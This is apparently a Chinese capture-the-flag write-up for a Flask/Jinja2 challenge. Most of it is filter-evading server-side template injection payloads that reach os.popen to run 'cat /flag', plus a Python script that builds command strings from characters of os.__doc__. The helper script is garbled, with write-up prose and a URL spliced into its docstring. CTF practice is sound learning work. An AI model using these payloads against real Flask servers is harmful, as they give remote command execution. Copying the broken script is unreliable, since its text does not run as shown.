
EzFlaskApp  
难度：中等偏上

 

题解

环境是Python2.7

需要命令执⾏才能拿到flag，这⾥选择的⽅法是 __doc__  拼接绕过字符串

先查看⼀下⽬标机器的 os.__doc__  （不同系统，以及不同版本python的 os.__doc__  不⼀致，所以需要先查
看

⽬标的 os.__doc__  ）

{%set xiahua=(config|select|string|list)[24]%}

{%set gb=(xiahua,xiahua,dict(class=a)|join,xiahua,xiahua)|join%}

{%set ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%}

{%set glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}

{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}

{%set oo=dict(o=a,s=a)|join%}

{%set so=oo[::-1]%}

{%set pp=dict(pop=a,ne=b)|join%}

{%set opo=pp[::-1]%}

{%set rd=(dict(read=a)|join)%}

{%set abc=(dict(static=a)|join)%}

{%set dc=(xiahua,xiahua,dict(doc=a)|join,xiahua,xiahua)|join%}

{%set docs=(config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(dc))%}

{%print (docs)%}



 

⾥⾯字符还经过了Unicode编码转义，所以需要先复制拿去解码随便找个在线解码就⾏

https://tool.chinaz.com/tools/unicode.aspx

然后编写寻找 __doc__  内容并⾃动⽣成拼接好的字符脚本如下

# -*- coding: utf-8 -*-

#Author: ttpfx

import os

 

cmd = 'cat /flag'

dicts = {}

payload2 = ''

#docs = os.__doc__

 

docs='''OS routines for NT or Posix depending on what system we're on.

 

This exports:

  - all functions from posix, nt, os2, or ce, e.g. unlink, stat, etc.

  - os.path is one of the modules posixpath, or ntpath

  - os.name is 'posix', 'nt', 'os2', 'ce' or 'riscos'

  - os.curdir is a string representing the current directory ('.' or ':')

  - os.pardir is a string representing the parent directory ('..' or '::')

  - os.sep is the (or a most common) pathname separator ('/' or ':' or '\\')

  - os.extsep is the extension separator ('.' or '/')

  - os.altsep is the alternate pathname separator (None or '/')

  - os.pathsep is the component separator used in $PATH etc

  - os.linesep is the line separator in text files ('\r' or '\n' or '\r\n')

  - os.defpath is the default search path for executables

https://tool.chinaz.com/tools/unicode.aspx


⽣成payload如下

构造好os.popen()，将docs[89]+docs[43]+docs[6]+docs[2]+docs[464]+docs[12]+docs[83]+docs[43]+docs[36]

传⼊进去

  - os.devnull is the file path of the null device ('/dev/null', etc.)

 

Programs that import and use 'os' stand a better chance of being

portable between different platforms.  Of course, they must then

only use functions that are defined by all platforms (e.g., unlink

and opendir), and leave all pathname manipulation to os.path

(e.g., split and join).'''

 

for i in range(127):

    num = 0

    for string in docs:

        num += 1

        chrs = chr(i)

        if chrs == string:

            num = num-1

            dicts[chrs] = num

            break

for s in cmd:

    payload = "docs["+str(dicts[s])+"]+"

    payload2 += payload

 

payload2 = payload2.rpartition("+")[0]   #去除末尾+

print(payload2)



最终payload

拿去URL编码后再打即可看到flag

 

TIPS  

其实直接拿 config 也能构造好RCE，不⽤ __doc__

 

 

{%set xiahua=(config|select|string|list)[24]%}

{%set gb=(xiahua,xiahua,dict(class=a)|join,xiahua,xiahua)|join%}

{%set ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%}

{%set glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}

{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}

{%set oo=dict(o=a,s=a)|join%}

{%set so=oo[::-1]%}

{%set pp=dict(pop=a,ne=b)|join%}

{%set opo=pp[::-1]%}

{%set rd=(dict(read=a)|join)%}

{%set abc=(dict(static=a)|join)%}

{%set dc=(xiahua,xiahua,dict(doc=a)|join,xiahua,xiahua)|join%}

{%set docs=(config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(dc))%}

{%set pop=(config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(opo))%}

{%set strs=

(docs[89]+docs[43]+docs[6]+docs[2]+docs[464]+docs[12]+docs[83]+docs[43]+docs[36])%}

{%print pop(strs)|attr(rd)()%}

{%set xiahua=(lipsum|select|string|list)[24]%}

{%set space=(config|string|list)[7]%}

{%set dian=(config|string|list)[563]%}

{%set xiegang=(config|string|list)[412]%}

{%set gb=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}

{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}

{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}

{%set oo=(dict(o=a,s=a)|join)[::-1]%}

{%set pp=dict(popen=a)|join%}

{%set shell=(dict(cat=a)|join,space,xiegang,dict(flag=a)|join)|join%}

{%set rr=dict(read=a)|join%}

{{lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(rr)()}}
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